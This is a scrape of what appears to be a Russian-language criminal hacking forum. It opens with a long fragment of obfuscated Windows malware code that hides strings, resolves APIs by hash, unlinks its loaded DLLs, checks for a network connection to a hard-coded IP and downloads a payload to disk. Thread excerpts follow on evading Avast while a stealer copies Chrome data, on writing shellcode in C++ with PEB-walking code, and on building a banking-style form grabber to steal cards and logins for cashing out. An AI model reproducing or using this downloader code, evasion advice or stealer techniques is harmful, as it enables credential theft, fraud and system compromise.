            UrlBuffer[Table->dwGeneralUsage1++] = '/'; UrlBuffer[Table->dwGeneralUsage1++] = 'r';
            UrlBuffer[Table->dwGeneralUsage1++] = 'o'; UrlBuffer[Table->dwGeneralUsage1++] = 'o';
            UrlBuffer[Table->dwGeneralUsage1++] = 't'; UrlBuffer[Table->dwGeneralUsage1++] = '/';
            UrlBuffer[Table->dwGeneralUsage1++] = 'S'; UrlBuffer[Table->dwGeneralUsage1++] = 'a';
            UrlBuffer[Table->dwGeneralUsage1++] = 'm'; UrlBuffer[Table->dwGeneralUsage1++] = 'p';
            UrlBuffer[Table->dwGeneralUsage1++] = 'l'; UrlBuffer[Table->dwGeneralUsage1++] = 'e';
            UrlBuffer[Table->dwGeneralUsage1++] = 's'; UrlBuffer[Table->dwGeneralUsage1++] = '/';
            UrlBuffer[Table->dwGeneralUsage1++] = 'c'; UrlBuffer[Table->dwGeneralUsage1++] = 'm';
            UrlBuffer[Table->dwGeneralUsage1++] = 'd'; UrlBuffer[Table->dwGeneralUsage1++] = '.';
            UrlBuffer[Table->dwGeneralUsage1++] = 'e'; UrlBuffer[Table->dwGeneralUsage1++] = 'x';
            UrlBuffer[Table->dwGeneralUsage1++] = 'e'; UrlBuffer[Table->dwGeneralUsage1++] = '\0';

            Method = MethodBuffer;
            Url = UrlBuffer;

            Table->ComHelper.ComResult = Table->ComHelper.ComVariables.HttpRequest->Open(Method, Url, AsyncFlag);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->ComHelper.ComResult = Table->ComHelper.ComVariables.HttpRequest->Send(Body);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->ComHelper.ComResult = Table->ComHelper.ComVariables.HttpRequest->get_ResponseText(&Table->ComHelper.ComVariables.ResponseData);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->dwGeneralUsage1 = 0;
            Table->dwGeneralUsage1 = (CONTAINING_RECORD((PVOID)Table->ComHelper.ComVariables.ResponseData, BSTR_T, u.String)->dwSize / sizeof(WCHAR));

            Table->dwReturn = Table->dwGeneralUsage1;
            Table->Status = Table->NtFunctions.NtAllocateVirtualMemory(((HANDLE)-1), &DataBuffer, 0, (PSIZE_T)&Table->dwGeneralUsage1, MEM_COMMIT, PAGE_READWRITE);
            if (!NT_SUCCESS(Table->Status))
                RecursiveExecutor(ExitApplication, Table);
            
            for (DWORD dwX = 0; dwX < Table->dwGeneralUsage1; dwX++)
                DataBuffer[dwX] = (BYTE)Table->ComHelper.ComVariables.ResponseData[dwX];
            
            Table->Status = Table->NtFunctions.NtWriteFile(Table->hHandle, NULL, NULL, NULL, &Io, DataBuffer, Table->dwGeneralUsage1, NULL, NULL);

            if (Table->ComHelper.ComVariables.ResponseData)
                Table->ComHelper.ComFunction.SysFreeString(Table->ComHelper.ComVariables.ResponseData);

            if (Table->ComHelper.ComVariables.HttpRequest)
                Table->ComHelper.ComVariables.HttpRequest->Release();

            if (Table->ComHelper.IsComInitialized)
            {
                Table->ComHelper.ComFunction.CoUninitialize();
                Table->ComHelper.IsComInitialized = FALSE;
            }

            if (DataBuffer)
                Table->NtFunctions.NtFreeVirtualMemory(((HANDLE)-1), DataBuffer, 0, MEM_RELEASE);

            if (Table->hHandle)
                Table->NtFunctions.NtClose(Table->hHandle);

            RecursiveExecutor(RemoveComData, Table);

            if (!NT_SUCCESS(Table->Status))
                RecursiveExecutor(ExitApplication, Table);

            break;
        }

        case LoadComLibraries:
        {
            WCHAR CombaseBuffer[20];
            UNICODE_STRING CombaseString;
            Table->LoaderHelper.hMod = NULL;

            Table->ZeroFill.Destination = &CombaseBuffer;
            Table->ZeroFill.Size = sizeof(CombaseBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &CombaseString;
            Table->ZeroFill.Size = sizeof(UNICODE_STRING);
            RecursiveExecutor(ZeroFillData, Table);

            Table->dwGeneralUsage1 = 0;
            CombaseBuffer[Table->dwGeneralUsage1++] = 'C';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'o';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'm';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'b';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'a';
            CombaseBuffer[Table->dwGeneralUsage1++] = 's';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'e';
            CombaseBuffer[Table->dwGeneralUsage1++] = '.';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'd';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'l';
            CombaseBuffer[Table->dwGeneralUsage1++] = 'l';

            CombaseString.Buffer = CombaseBuffer;
            CombaseString.Length = (USHORT)Table->dwGeneralUsage1 * sizeof(WCHAR);
            CombaseString.MaximumLength = CombaseString.Length + sizeof(WCHAR);

            Table->Status = Table->NtFunctions.LdrLoadDll(NULL, 0, &CombaseString, &Table->LoaderHelper.hMod);
            if (!NT_SUCCESS(Table->Status))
                RecursiveExecutor(ExitApplication, Table);

            RecursiveExecutor(PopulateComFunctionPointers, Table);

            if(!Table->ComHelper.ComFunction.CoCreateInstance || !Table->ComHelper.ComFunction.CoInitializeEx || !Table->ComHelper.ComFunction.CoUninitialize)
                RecursiveExecutor(ExitApplication, Table);

            RecursiveExecutor(GetSysFreeString, Table);

            RecursiveExecutor(NullPeHeaders, Table);

            break;
        }

        case GetSysFreeString:
        {
            WCHAR OleAut32Buffer[13];
            UNICODE_STRING OleAut32String;
            Table->LoaderHelper.hMod = NULL;

            Table->ZeroFill.Destination = &OleAut32Buffer;
            Table->ZeroFill.Size = sizeof(OleAut32Buffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &OleAut32String;
            Table->ZeroFill.Size = sizeof(UNICODE_STRING);
            RecursiveExecutor(ZeroFillData, Table);

            Table->dwGeneralUsage1 = 0;
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'O';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'l';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'e';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'A';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'u';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 't';
            OleAut32Buffer[Table->dwGeneralUsage1++] = '3';
            OleAut32Buffer[Table->dwGeneralUsage1++] = '2';
            OleAut32Buffer[Table->dwGeneralUsage1++] = '.';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'd';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'l';
            OleAut32Buffer[Table->dwGeneralUsage1++] = 'l';

            Table->dwGeneralUsage1 *= sizeof(WCHAR);
            OleAut32String.Buffer = OleAut32Buffer;
            OleAut32String.Length = (USHORT)Table->dwGeneralUsage1;
            OleAut32String.MaximumLength = OleAut32String.Length + sizeof(WCHAR);

            Table->Status = Table->NtFunctions.LdrLoadDll(NULL, 0, &OleAut32String, &Table->LoaderHelper.hMod);
            if (!NT_SUCCESS(Table->Status))
                RecursiveExecutor(ExitApplication, Table);

            Table->dwGeneralUsage1 = 0x14c944f5;
            Table->ComHelper.ComFunction.SysFreeString = (SYSFREESTRING)RecursiveExecutor(GetProcAddressByHash, Table);

            if (!Table->ComHelper.ComFunction.SysFreeString)
                RecursiveExecutor(ExitApplication, Table);

            break;
        }

        case UnloadDll:
        {
            PLDR_MODULE Module = NULL;
            PLIST_ENTRY Head = &Table->Peb->LoaderData->InMemoryOrderModuleList;
            PLIST_ENTRY Next = Head->Flink;
            Module = (PLDR_MODULE)((PBYTE)Next - 16);

            while (Next != Head)
            {
                Module = (PLDR_MODULE)((PBYTE)Next - 16);
                if (Module->BaseDllName.Buffer != NULL)
                {
                    Table->GeneralData.WideStringPointer1 = Module->BaseDllName.Buffer;

                    RecursiveExecutor(HashStringFowlerNollVoVariant1aW, Table);

                    if (Table->dwReturn == Table->dwGeneralUsage1)
                    {
                        Table->Entry = &Module->InLoadOrderModuleList;
                        RecursiveExecutor(RemoveListEntry, Table);

                        Table->Entry = &Module->InInitializationOrderModuleList;
                        RecursiveExecutor(RemoveListEntry, Table);

                        Table->Entry = &Module->InMemoryOrderModuleList;
                        RecursiveExecutor(RemoveListEntry, Table);

                        Table->Entry = &Module->HashTableEntry;
                        RecursiveExecutor(RemoveListEntry, Table);

                        break;
                    }
                }

                Next = Next->Flink;
            }

            break;
        }

        case RemoveListEntry:
        {
            PLIST_ENTRY OldFlink, OldBlink;

            OldFlink = Table->Entry->Flink;
            OldBlink = Table->Entry->Blink;
            OldFlink->Blink = OldBlink;
            OldBlink->Flink = OldFlink;
            Table->Entry->Flink = NULL;
            Table->Entry->Blink = NULL;

            break;
        }

        case RemoveComData:
        {
            Table->dwGeneralUsage1 = 0x52d488c9;
            RecursiveExecutor(UnloadDll, Table);

            Table->dwGeneralUsage1 = 0xb8c65c5e;
            RecursiveExecutor(UnloadDll, Table);

            Table->ComHelper.ComFunction.CoCreateInstance = NULL;
            Table->ComHelper.ComFunction.CoInitializeEx = NULL;
            Table->ComHelper.ComFunction.CoUninitialize = NULL;
            Table->ComHelper.ComFunction.SysFreeString = NULL;
            Table->ComHelper.ComFunction.CoInitializeSecurity = NULL;

            break;
        }

        case CheckRemoteHost:
        {
            WCHAR RootBuffer[12]; BSTR Root;
            WCHAR WqlBuffer[5]; BSTR Wql;
            WCHAR QueryBuffer[62]; BSTR Query;
            WCHAR GetPropertyBuffer[12]; BSTR GetProperty;
            VARIANT PingStatus; ((&PingStatus)->vt) = VT_EMPTY;

            Table->ZeroFill.Destination = &RootBuffer;
            Table->ZeroFill.Size = sizeof(RootBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &WqlBuffer;
            Table->ZeroFill.Size = sizeof(WqlBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &QueryBuffer;
            Table->ZeroFill.Size = sizeof(QueryBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ZeroFill.Destination = &GetPropertyBuffer;
            Table->ZeroFill.Size = sizeof(GetPropertyBuffer);
            RecursiveExecutor(ZeroFillData, Table);

            Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoCreateInstance(CLSID_WbemAdministrativeLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (PVOID*)&Table->ComHelper.ComVariables.Locator);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->dwGeneralUsage1 = 0;
            RootBuffer[Table->dwGeneralUsage1++] = 'r';
            RootBuffer[Table->dwGeneralUsage1++] = 'o';
            RootBuffer[Table->dwGeneralUsage1++] = 'o';
            RootBuffer[Table->dwGeneralUsage1++] = 't';
            RootBuffer[Table->dwGeneralUsage1++] = '\\';
            RootBuffer[Table->dwGeneralUsage1++] = 'c';
            RootBuffer[Table->dwGeneralUsage1++] = 'i';
            RootBuffer[Table->dwGeneralUsage1++] = 'm';
            RootBuffer[Table->dwGeneralUsage1++] = 'v';
            RootBuffer[Table->dwGeneralUsage1++] = '2';
            RootBuffer[Table->dwGeneralUsage1++] = '\0';
            Root = RootBuffer;

            Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Locator->ConnectServer(Root, NULL, NULL, NULL, WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &Table->ComHelper.ComVariables.Services);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->dwGeneralUsage1 = 0;
            WqlBuffer[Table->dwGeneralUsage1++] = 'W';
            WqlBuffer[Table->dwGeneralUsage1++] = 'Q';
            WqlBuffer[Table->dwGeneralUsage1++] = 'L';
            WqlBuffer[Table->dwGeneralUsage1++] = '\0';
            Wql = WqlBuffer;

            Table->dwGeneralUsage1 = 0;
            QueryBuffer[Table->dwGeneralUsage1++] = 'S'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
            QueryBuffer[Table->dwGeneralUsage1++] = 'L'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
            QueryBuffer[Table->dwGeneralUsage1++] = 'C'; QueryBuffer[Table->dwGeneralUsage1++] = 'T';
            QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = '*';
            QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = 'F';
            QueryBuffer[Table->dwGeneralUsage1++] = 'R'; QueryBuffer[Table->dwGeneralUsage1++] = 'O';
            QueryBuffer[Table->dwGeneralUsage1++] = 'M'; QueryBuffer[Table->dwGeneralUsage1++] = ' ';
            QueryBuffer[Table->dwGeneralUsage1++] = 'W'; QueryBuffer[Table->dwGeneralUsage1++] = 'i';
            QueryBuffer[Table->dwGeneralUsage1++] = 'n'; QueryBuffer[Table->dwGeneralUsage1++] = '3';
            QueryBuffer[Table->dwGeneralUsage1++] = '2'; QueryBuffer[Table->dwGeneralUsage1++] = '_';
            QueryBuffer[Table->dwGeneralUsage1++] = 'P'; QueryBuffer[Table->dwGeneralUsage1++] = 'i';
            QueryBuffer[Table->dwGeneralUsage1++] = 'n'; QueryBuffer[Table->dwGeneralUsage1++] = 'g';
            QueryBuffer[Table->dwGeneralUsage1++] = 'S'; QueryBuffer[Table->dwGeneralUsage1++] = 't';
            QueryBuffer[Table->dwGeneralUsage1++] = 'a'; QueryBuffer[Table->dwGeneralUsage1++] = 't';
            QueryBuffer[Table->dwGeneralUsage1++] = 'u'; QueryBuffer[Table->dwGeneralUsage1++] = 's';
            QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = 'W';
            QueryBuffer[Table->dwGeneralUsage1++] = 'H'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
            QueryBuffer[Table->dwGeneralUsage1++] = 'R'; QueryBuffer[Table->dwGeneralUsage1++] = 'E';
            QueryBuffer[Table->dwGeneralUsage1++] = ' '; QueryBuffer[Table->dwGeneralUsage1++] = 'A';
            QueryBuffer[Table->dwGeneralUsage1++] = 'd'; QueryBuffer[Table->dwGeneralUsage1++] = 'd';
            QueryBuffer[Table->dwGeneralUsage1++] = 'r'; QueryBuffer[Table->dwGeneralUsage1++] = 'e';
            QueryBuffer[Table->dwGeneralUsage1++] = 's'; QueryBuffer[Table->dwGeneralUsage1++] = 's';
            QueryBuffer[Table->dwGeneralUsage1++] = '='; QueryBuffer[Table->dwGeneralUsage1++] = '"';
            QueryBuffer[Table->dwGeneralUsage1++] = '1'; QueryBuffer[Table->dwGeneralUsage1++] = '7';
            QueryBuffer[Table->dwGeneralUsage1++] = '2'; QueryBuffer[Table->dwGeneralUsage1++] = '.';
            QueryBuffer[Table->dwGeneralUsage1++] = '6'; QueryBuffer[Table->dwGeneralUsage1++] = '7';
            QueryBuffer[Table->dwGeneralUsage1++] = '.'; QueryBuffer[Table->dwGeneralUsage1++] = '1';
            QueryBuffer[Table->dwGeneralUsage1++] = '3'; QueryBuffer[Table->dwGeneralUsage1++] = '6';
            QueryBuffer[Table->dwGeneralUsage1++] = '.'; QueryBuffer[Table->dwGeneralUsage1++] = '1';
            QueryBuffer[Table->dwGeneralUsage1++] = '3'; QueryBuffer[Table->dwGeneralUsage1++] = '6';
            QueryBuffer[Table->dwGeneralUsage1++] = '"'; QueryBuffer[Table->dwGeneralUsage1++] = '\0';
            Query = QueryBuffer;

            Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Services->ExecQuery(Wql, Query, WBEM_FLAG_FORWARD_ONLY, NULL, &Table->ComHelper.ComVariables.Enum);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->dwGeneralUsage1 = 0;
            Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Enum->Next(WBEM_INFINITE, 1L, &Table->ComHelper.ComVariables.Ping, &Table->dwGeneralUsage1);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            if (Table->dwGeneralUsage1 == 0)
                RecursiveExecutor(ExitApplication, Table);

            Table->dwGeneralUsage1 = 0;
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 'S';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 't';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 'a';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 't';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 'u';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 's';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 'C';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 'o';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 'd';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = 'e';
            GetPropertyBuffer[Table->dwGeneralUsage1++] = '\0';
            GetProperty = GetPropertyBuffer;

            Table->ComHelper.ComResult = Table->ComHelper.ComVariables.Ping->Get(GetProperty, 0, &PingStatus, NULL, NULL);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            if (PingStatus.iVal != ERROR_SUCCESS)
                RecursiveExecutor(ExitApplication, Table);

            if (Table->ComHelper.ComVariables.Locator)
                Table->ComHelper.ComVariables.Locator->Release();

            if (Table->ComHelper.ComVariables.Enum)
                Table->ComHelper.ComVariables.Enum->Release();

            if (Table->ComHelper.ComVariables.Ping)
                Table->ComHelper.ComVariables.Ping->Release();

            if (Table->ComHelper.ComVariables.Services)
                Table->ComHelper.ComVariables.Services->Release();

            Table->ComHelper.ComResult = S_OK;

            break;
        }

        case SafelyExitCom:
        {
            if (Table->ComHelper.IsComInitialized)
                RecursiveExecutor(ExitApplication, Table);

            if (Table->ComHelper.ComVariables.Locator)
                Table->ComHelper.ComVariables.Locator->Release();

            if (Table->ComHelper.ComVariables.Enum)
                Table->ComHelper.ComVariables.Enum->Release();

            if (Table->ComHelper.ComVariables.Ping)
                Table->ComHelper.ComVariables.Ping->Release();

            if (Table->ComHelper.ComVariables.Services)
                Table->ComHelper.ComVariables.Services->Release();

            if (Table->ComHelper.ComVariables.NetworkManager)
                Table->ComHelper.ComVariables.NetworkManager->Release();

            if (Table->ComHelper.ComVariables.HttpRequest)
                Table->ComHelper.ComVariables.HttpRequest->Release();

            if(Table->ComHelper.ComVariables.ResponseData)
                Table->ComHelper.ComFunction.SysFreeString(Table->ComHelper.ComVariables.ResponseData);

            RecursiveExecutor(RemoveComData, Table);

            break;
        }

        case CheckLocalMachinesInternetStatus:
        {
            VARIANT_BOOL Connected = VARIANT_FALSE;

            Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoCreateInstance(CLSID_NetworkListManager, NULL, CLSCTX_ALL, __uuidof(INetworkListManager), (LPVOID*)&Table->ComHelper.ComVariables.NetworkManager);
            if (!SUCCEEDED(Table->ComHelper.ComResult))
                RecursiveExecutor(ExitApplication, Table);

            Table->ComHelper.ComVariables.NetworkManager->get_IsConnectedToInternet(&Connected);
            if (Connected == VARIANT_FALSE)
                RecursiveExecutor(ExitApplication, Table);

            Table->ComHelper.ComResult = S_OK;

            if (Table->ComHelper.ComVariables.NetworkManager)
                Table->ComHelper.ComVariables.NetworkManager->Release();

            break;
        }

        case ZeroFillData:
        {
            PCHAR q = (PCHAR)Table->ZeroFill.Destination;
            PCHAR End = q + Table->ZeroFill.Size;

            for (;;) {
                if (q >= End) break; *q++ = 0;
                if (q >= End) break; *q++ = 0;
                if (q >= End) break; *q++ = 0;
                if (q >= End) break; *q++ = 0;
            }

            break;
        }

        case Win32FromHResult:
        {
            if ((Table->ComHelper.ComResult & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
                Table->dwError = HRESULT_CODE(Table->ComHelper.ComResult);

            break;
        }

        default:
            break;
    }

    return (LPVOID)Table->dwError;
}



#pragma warning(push)
#pragma warning(disable: 6262)

INT ApplicationEntryPoint(VOID)
{
    VARIABLE_TABLE Table;
    Table.dwError = 0; Table.Status = 0;
    return (INT)(DWORD64)RecursiveExecutor(EntryPoint, &Table);
}
#pragma warning(pop)
Детект Avast на копирование Хрома
ID: 6765d804b4103b69df3756db
Thread ID: 73951
Created: 2022-10-04T19:05:19+0000
Last Post: 2024-08-05T23:59:52+0000
Author: merdock
Replies: 51 Views: 4K

Такая проблема: стиллер копирует файлы хрома для будущей дешифрации и в этот момент получаю детект, перепробовал ВСЕ и копирование через вызов нового процесса, и через OLE или через FS и Винапи, ПОДСКАЖИТЕ КУДА КОПАТЬ?

Как работать с вебом по HTTPS ?
ID: 6765d804b4103b69df3756af
Thread ID: 122942
Created: 2024-09-18T05:50:17+0000
Last Post: 2024-10-12T11:23:37+0000
Author: omar_hayat
Replies: 50 Views: 4K

Всем привет!

Штудирую интернет на предмет исходников и теоретических материалов по вопросу написания простого клиента HTTPS на плюсах. Вопрос оказался сложный и интересный. Информация разрозненная и многоплатформенная.

Для ускорения процесса основенния теоритичекой части решил поинтересоваться, может у кого есть инфа где где более-менее подробно изложено как вся эта технология работает под капотом (книжки, статьи) в приложении на Винде?

Интернеты (стоковерфлоу и подобные форумы) рекомендуют юзать библиотеки типа асио и либкурл. Исходники конечно под такое есть. Только билдятся они нормально под линукс. Так как на винде нужен спец.бубен чтобы установить библиотеку openssl (в виде какого то хитрого интерпритатора perl`a).

Кто как кодирует трафик при передаче данных?

На сейчас стало понятно что всё сводится к отправке зашифрованного пакета обычными стедствами (сокет или GET запрос). Осталось самая малость, понять как шифровать пакет:)

Обучаюсь плюсам
ID: 6765d804b4103b69df375710
Thread ID: 96081
Created: 2023-08-19T19:43:38+0000
Last Post: 2024-04-19T11:52:07+0000
Author: ah_for_no_one
Replies: 54 Views: 4K

Буду публиковать сюда свой код на c++ пока учусь писать. Раньше писал на асме, но сейчас понимаю что это такое себе, хочу перейти на c++. Переодически буду публиковать тут код на c++. Прошу тех кто шарит в плюсах помочь мне.
Сейчас пытаюсь понять как правильно писать шеллкоды на c++.
Вот моя первая попытка оформить всё в виде шеллкода

C++:Copy to clipboard

#include <windows.h>
#include <memory>
#include "NT_STRUCTS.h"
#include <stdalign.h>




// constants
#define PAGE_MINIMAL_SIZE 0x1000
#define HEAP_INITIAL_SIZE PAGE_MINIMAL_SIZE*2
#define MAX_HEAP_SIZE PAGE_MINIMAL_SIZE*64

using namespace std;

#define alloc(Type, PtrName) \
    std::unique_ptr<Type> PtrName = std::make_unique<Type>(sizeof(Type));
    



typedef HANDLE(*_HeapCreate)(DWORD flOptions, size_t dwInitialSize, size_t dwMaximumSize);
typedef void* (*_HeapAlloc)(HANDLE hHeap, DWORD dwFlags, size_t dwBytes);
typedef int (*_HeapFree)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
typedef int (*_MessageBoxA)(HWND   hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT   uType);
typedef HMODULE (*_LoadLibraryW)(LPCWSTR lpLibFileName);


void* memset(void* s, int c, size_t sz)
{
    byte* p = (byte*)s;

    while (sz--) {
        *p++ = (byte)c;
    }
    return s;
}

void* memcpy(void* dst, void* src, size_t sz)
{
    byte* dstbuf = (byte*)dst;
    byte* srcbuf = (byte*)src;

    while (sz--) {
        dstbuf[sz] = srcbuf[sz];
    }
    return 0;
}

_TIMAGE_FILE_HEADER* GetPEHeader(HMODULE module)
{
    _IMAGE_DOS_HEADER* IMAGE_DOS_HEADER = (_IMAGE_DOS_HEADER*)module;
    DWORD e_lfanew = IMAGE_DOS_HEADER->e_lfanew;
    return (_TIMAGE_FILE_HEADER*)((UINT64)IMAGE_DOS_HEADER + (UINT64)e_lfanew);
};


_TIMAGE_OPTIONAL_HEADER* GetOptionalHeader(HMODULE module)
{
    return (_TIMAGE_OPTIONAL_HEADER*)((UINT64)GetPEHeader(module) + (UINT64)sizeof(_TIMAGE_FILE_HEADER));
};



struct _IMPORT
{
    _HeapCreate HeapCreate;
    _HeapAlloc HeapAlloc;
    _HeapFree HeapFree;
    _MessageBoxA MessageBoxA;
};
struct _GLOBAL_DATA
{
    HANDLE hHeap;
    _IMPORT import;
};


HMODULE GetKernel32()
{
    HMODULE module;
    __asm
    {
        xor rax, rax
        mov rax, gs: [rax + 0x60]
        mov rax, [rax + 0x18]
        mov rax, [rax + 0x20]
        mov rax, [rax]
        mov rax, [rax]
        mov rax, [rax + 0x20]
        mov[module], rax
    }
    return module;
}

HMODULE GetNtdll()
{
    HMODULE module;
    __asm
    {
        xor rax, rax
        mov rax, gs: [rax + 0x60]
        mov rax, [rax + 0x18]
        mov rax, [rax + 0x20]
        mov rax, [rax]
        mov rax, [rax + 0x20]
        mov[module], rax
    }
    return module;
}

bool strcmpb(LPCSTR str1, LPCSTR str2)
{
    int i = 0;
    while (true)
    {
        if (str1[i] == str2[i])
        {
            if (str2[i] == 0)
            {
                return true;
            }
            i++;
        }
        else
        {
            return false;
        }
    }
}

FARPROC EGetProcAddress(HMODULE module, LPCSTR procname)
{
    UINT64 ProcAddress = 0;

    _IMAGE_DOS_HEADER* IMAGE_DOS_HEADER = (_IMAGE_DOS_HEADER*)module;
    DWORD e_lfanew = IMAGE_DOS_HEADER->e_lfanew;
    _TIMAGE_FILE_HEADER* IMAGE_FILE_HEADER = (_TIMAGE_FILE_HEADER*)((UINT64)IMAGE_DOS_HEADER + (UINT64)e_lfanew);
    _TIMAGE_OPTIONAL_HEADER* IMAGE_OPTIONAL_HEADER = (_TIMAGE_OPTIONAL_HEADER*)((UINT64)IMAGE_FILE_HEADER + (UINT64)sizeof(_TIMAGE_FILE_HEADER));
    // broken _IMAGE_OPTIONAL_HEADER redefine this shit
    _IMAGE_EXPORT_DIRECTORY* IMAGE_EXPORT_DIRECTORY = (_IMAGE_EXPORT_DIRECTORY*)((UINT64)IMAGE_OPTIONAL_HEADER->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (UINT64)module);
    DWORD* AddressOfNames = (DWORD*)((UINT64)IMAGE_EXPORT_DIRECTORY->AddressOfNames + (UINT64)module);


    for (UINT32 i = 0; i <= IMAGE_EXPORT_DIRECTORY->NumberOfNames; i++)
    {
        LPCSTR Name = (LPCSTR)((UINT64)AddressOfNames[i] + (UINT64)module);
        if (strcmpb((char*)procname, (char*)Name))
        {
            UINT16* Ordinals = (UINT16*)((UINT64)IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals + (UINT64)module);
            UINT32* AddressOfFunctions = (UINT32*)((UINT64)IMAGE_EXPORT_DIRECTORY->AddressOfFunctions + (UINT64)module);
            ProcAddress = AddressOfFunctions[Ordinals[i]] + (UINT64)module;
        }
    }


    return (FARPROC)ProcAddress;
}



void StartUp(_GLOBAL_DATA* maintable)
{
    HMODULE kernel32 = GetKernel32();
    HMODULE ntdll = GetNtdll();

    maintable->import.HeapCreate = (_HeapCreate)EGetProcAddress(kernel32, "HeapCreate");
    maintable->hHeap = maintable->import.HeapCreate(0, HEAP_INITIAL_SIZE, 0);
    maintable->import.HeapAlloc = (_HeapAlloc)EGetProcAddress(ntdll, "RtlAllocateHeap");
    maintable->import.HeapFree = (_HeapFree)EGetProcAddress(kernel32, "HeapFree");
    _LoadLibraryW LoadLibraryW = (_LoadLibraryW)EGetProcAddress(kernel32, "LoadLibraryW");

    HMODULE user32 = LoadLibraryW(L"user32.dll");
    maintable->import.MessageBoxA = (_MessageBoxA)EGetProcAddress(user32, "MessageBoxA");


}






class MyClass
{
public:
    int someval;
    LPCSTR* teststr;
};



void* operator new(size_t size, _GLOBAL_DATA* maintable)
{
    if (size)
    {
        return maintable->import.HeapAlloc(maintable->hHeap, 0, size);
    }
    return 0;
}


void operator delete(void* p, _GLOBAL_DATA* maintable)
{
    if (p)
    {
        return (void)maintable->import.HeapFree(maintable->hHeap, 0, p);
    }
    return (void)0;
}



int main()
{
    _GLOBAL_DATA maintable;
    StartUp(&maintable);
    
    MyClass* obj = new(&maintable) MyClass;
    obj->someval = 100;
    obj->teststr = new(&maintable) LPCSTR("hello");

    maintable.import.MessageBoxA(0, *obj->teststr, *obj->teststr, 0);

    return 0;
}

1692473276555.png
Проблемы которые я вижу:
1. Строки хранятся в секции данных
2. Нельзя использовать unique_ptr, т.к. нельзя вызвать delete с аргументом, а раз нельзя вызвать с аргументом нужно создавать глобальную переменную которая будет хранить hHeap и HeapFree, то есть как минимум должна быть структурка которая хранит функции для особождения/выделения памяти и она должна быть глобальной - то есть не на стэке.
Насколько я знаю строки можно как-то перенести на стэк, да и вообще в будущем всё буду вызывать по хэшам, меня больше интересует второй вопрос - как организовать нормальное выделение памяти в шеллкоде, можно конечно сделать структуру на стэке, написать функции alloc/unalloc но вызывать их вручную как по мне такое себе, так что надо делать через unique_ptr

Coding form grabber from 0 , banking botnet style
ID: 6765d804b4103b69df37574c
Thread ID: 92005
Created: 2023-07-03T21:37:01+0000
Last Post: 2024-01-16T08:53:56+0000
Author: 0x43rypt0n
Prefix: Статья
Replies: 30 Views: 4K

Write a form grabber in c++ in 5 minutes, zeus botnet style for form-grabbing Visa cards, master cards, passwords and emails, and everything the user enters as input in Browser.

Before we dig deeper, What the Hack is a Form grabber, when to use it, and why to use it why not just use a stealer?

#What the Hack is a Form grabber
A form grabber is a technique used by malware developers to steal data such as credit cards and logins data and send them directly to a server and store them in the mysql database then the hacker will come back to check what he stole from his web gui panel and then use them, this technique is very useful when we use it with reverse proxy socks5 for example and no leaks also very very useful with a good and fast hvnc which you can use the same IP same machine that the owner for example of the cvv is used by the owner this gives more trust when cashing out

#when to use it
